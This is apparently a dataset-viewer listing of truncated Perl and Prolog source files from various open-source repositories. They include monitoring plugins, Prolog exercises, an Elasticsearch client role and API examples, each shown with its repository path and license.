if (@ARGV < 2) {
print $ARGV;
die "Usage:\n\tperl cp.pl in.md out.changes > out.md\n";
}
open IMD, '<', $ARGV[0]; # input markdown file
while (<IMD>) {
print;
next;
}
close IMD;
open CHANGES, '>', $ARGV[1]; # changes
my $hash;
my $d... | district10/blog | cp.pl | Perl | mit | 1,142 |
% Specialized utilities:
:- ['generic-util.pl'].
:- ['messages.pl'].
% Given a goal Goal and a list of hidden parameters GList
% create a new goal TGoal with the correct number of arguments.
% Also return the arity of the original goal.
'_new_goal'(Goal, GList, GArity, TGoal) :-
functor(Goal, Name, GArity),
'... | mndrix/edcg | prolog/special-util.pl | Perl | mit | 3,432 |
wizard(ron).
hasWand(harry).
quidditchPlayer(harry).
wizard(X) :- hasBroom(X), hasWand(X).
hasBroom(X) :- quidditchPlayer(X).
% ?- wizard(ron).
% true.
% ?- witch(ron).
% ERROR
% ?- wizard(hermione).
% false.
% ?- witch(hermione).
% ERROR
% ?- wizard(harry).
% true.
% ?- wizard(Y).
% Y = harry;
% Y = ron.
% witc... | willprice/learn-prolog-now | ex1-5.pl | Perl | mit | 335 |
file_search_path(chractr,'.').
:- include(chractr('actr_core.pl')).
:- chr_constraint run/0, run/1, fire/0.
/*
* This model is designed to play against an opponent choosing equally from rock, paper and scissors in the rock paper scissors experiment.
* It has been derived from the corresponding ACT-R model.
* It is ... | danielgall/chr-actr | src/core/examples/experiment/equally_random.pl | Perl | mit | 7,810 |
# See bottom of file for license and copyright information
package VisDoc::MemberFormatterJava;
use base 'VisDoc::MemberFormatterBase';
use strict;
use warnings;
sub new {
my ( $class, $inFileParser ) = @_;
my VisDoc::MemberFormatterJava $this = $class->SUPER::new();
$this->{PATTERN_PARAMETER_STRING} ... | ArthurClemens/VisDoc | code/perl/lib/VisDoc/MemberFormatterJava.pm | Perl | mit | 2,493 |
%query: shanoi(i,i,i,i,o).
shanoi(s(0),A,B,C,[mv(A,C)]).
shanoi(s(s(X)),A,B,C,M) :-
eq(N1,s(X)),
shanoi(N1,A,C,B,M1),
shanoi(N1,B,A,C,M2),
append(M1,[mv(A,C)],T),
append(T,M2,M).
append([],L,L).
append([H|L],L1,[H|R]) :-
append(L,L1,R).
eq(X,X).
| ComputationWithBoundedResources/ara-inference | doc/tpdb_trs/Logic_Programming/talp_mixed/hanoiapp.suc.pl | Perl | mit | 255 |
#
# Copyright 2018 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in com... | wilfriedcomte/centreon-plugins | network/alcatel/oxe/snmp/mode/pbxstate.pm | Perl | apache-2.0 | 4,198 |
use strict;
use warnings;
use FileHandle;
my $dir = '/hps/nobackup2/production/ensembl/anja/release_96/human/ancestral_alleles/input/';
my $vf_file = '/hps/nobackup2/production/ensembl/anja/release_96/human/ancestral_alleles/variation_features_96.txt';
my $count = 10_000_000;
my $file_count = 1;
my $i = 0;
my ... | at7/work | utils/ancestral_alleles/split_variation_features.pl | Perl | apache-2.0 | 679 |
=head1 TITLE
Object Class hooks into C<printf>
=head1 VERSION
Maintainer: Mark Biggar <mark.biggar@TrustedSysLabs.com>
Date: 30 Aug 2000
Mailing List: perl6-language-io@perl.org
Number: 180
Version: 1
Status: Developing
=head1 ABSTRACT
There needs to be a way for an object class to define C<printf> for... | autarch/perlweb | docs/dev/perl6/rfc/180.pod | Perl | apache-2.0 | 2,091 |
false :-
main_verifier_error.
ackermann__1(A,B) :-
true.
ackermann__3(A,B) :-
1*B=0,
ackermann__1(A,B).
ackermann__5(A,B) :-
-1*B>0,
ackermann__1(A,B).
ackermann__5(A,B) :-
1*B>0,
ackermann__1(A,B).
ackermann___0(A,B,C) :-
1*A+ -1*B=1,
1*C=0,
ackermann__3(B,C).
ackermann__8(A,B) :-
1... | bishoksan/RAHFT | benchmarks_scp/SVCOMP15/svcomp15-clp-specialised/Ackermann02_false-unreach-call_false-termination.c.pl.pe.pl | Perl | apache-2.0 | 1,156 |
#
# Copyright 2019 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in com... | Sims24/centreon-plugins | storage/hp/3par/ssh/plugin.pm | Perl | apache-2.0 | 1,448 |
##
## This file was generated by Google::ProtocolBuffers (0.08)
## on Fri Apr 10 13:57:35 2015
##
use strict;
use warnings;
use Google::ProtocolBuffers;
{
unless (ACPEncrypt->can('_pb_fields_list')) {
Google::ProtocolBuffers->create_message(
'ACPEncrypt',
[
... | SolveMedia/furryblue | lib/AC/FurryBlue/proto/y2db_crypto.pl | Perl | apache-2.0 | 1,756 |
package Search::Elasticsearch::Role::Cxn::Async;
use Moo::Role;
use Search::Elasticsearch::Util qw(new_error);
use namespace::clean;
#===================================
sub pings_ok {
#===================================
my $self = shift;
$self->logger->infof( 'Pinging [%s]', $self->stringify );
$self-... | adjust/elasticsearch-perl | lib/Search/Elasticsearch/Role/Cxn/Async.pm | Perl | apache-2.0 | 2,283 |
#!/usr/bin/env perl
use strict;
use warnings;
use ReseqTrack::Tools::ERAUtils;
use autodie;
use JSON;
use Getopt::Long;
use Data::Dumper;
my $era_user;
my $era_pass;
my $production_dir;
GetOptions( "era_user=s" => \$era_user,
"era_pass=s" => \$era_pass,
"json_dir=s" => \$production_dir,
... | EMBL-EBI-GCA/bp_project | scripts/index/create_epirr_index.pl | Perl | apache-2.0 | 6,223 |
package VMOMI::VirtualMachineUsageOnDatastore;
use parent 'VMOMI::DynamicData';
use strict;
use warnings;
our @class_ancestors = (
'DynamicData',
);
our @class_members = (
['datastore', 'ManagedObjectReference', 0, ],
['committed', undef, 0, ],
['uncommitted', undef, 0, ],
['unshared', undef, 0... | stumpr/p5-vmomi | lib/VMOMI/VirtualMachineUsageOnDatastore.pm | Perl | apache-2.0 | 545 |
#
# Copyright 2018 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in com... | wilfriedcomte/centreon-plugins | network/citrix/sdx/snmp/plugin.pm | Perl | apache-2.0 | 1,564 |
#
# Copyright 2015 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in com... | s-duret/centreon-plugins | network/juniper/common/ive/mode/users.pm | Perl | apache-2.0 | 9,985 |
#
# Copyright 2022 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in com... | centreon/centreon-plugins | database/mysql/mode/threadsconnected.pm | Perl | apache-2.0 | 6,784 |
#
# Copyright 2022 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in com... | centreon/centreon-plugins | storage/lenovo/iomega/snmp/plugin.pm | Perl | apache-2.0 | 1,669 |
#!/usr/bin/perl
# --------------------------------------------------------------------------
# Copyright 2002-2009 GridWay Team, Distributed Systems Architecture
# Group, Universidad Complutense de Madrid
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in complian... | oldpatricka/Gridway | src/im_mad/gw_im_mad_egee_ldap.pl | Perl | apache-2.0 | 6,237 |
:- module(pl2sqlinsert,[pl2sqlInsert/2]).
:- include(library(assertions)).
:- use_module(library(lists),[append/3]).
:- multifile [sql__relation/3,sql__attribute/4].
:- data [sql__relation/3,sql__attribute/4].
pl2sqlInsert(ConstantTuple,SQLInsertString):-
ConstantTuple=..[PredName|AttrValues],
constants_list(AttrVa... | leuschel/ecce | www/CiaoDE/ciao/library/persdb_sql_common/pl2sqlinsert.pl | Perl | apache-2.0 | 3,475 |
#write a program that randomly chooses one of four nucleotides (ATCG)
#and then keeps prompting the user until you guess the correct one.
#doesn't need to be a subroutine.
#
print "S. Barclay\n";
print "BIFS617 Week 8 Conference 1\n\n";
#
#Randomly generate nucleotide
@nucleotide = ('A','T','C','G');
$base=$nucleotide[... | VxGB111/Perl-Programming-Homework | Week8conference1.pl | Perl | bsd-2-clause | 612 |
#!/usr/bin/perl
#
# Copyright (C) 2006, 2007 Sony Computer Entertainment Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms,
# with or without modification, are permitted provided that the
# following conditions are met:
# * Redistributions of source code must retain the ... | xissburg/XDefrac | bullet-2.78/Extras/vectormathlibrary/tests/compare.pl | Perl | mit | 2,815 |
#ExStart:1
use lib 'lib';
use strict;
use warnings;
use utf8;
use File::Slurp; # From CPAN
use JSON;
use AsposeStorageCloud::StorageApi;
use AsposeStorageCloud::ApiClient;
use AsposeStorageCloud::Configuration;
use AsposeWordsCloud::WordsApi;
use AsposeWordsCloud::ApiClient;
use AsposeWordsCloud::Configuration;
my $c... | aspose-words/Aspose.Words-for-Cloud | Examples/Perl/Mail-Merge/ExecuteWithRegions.pl | Perl | mit | 1,871 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.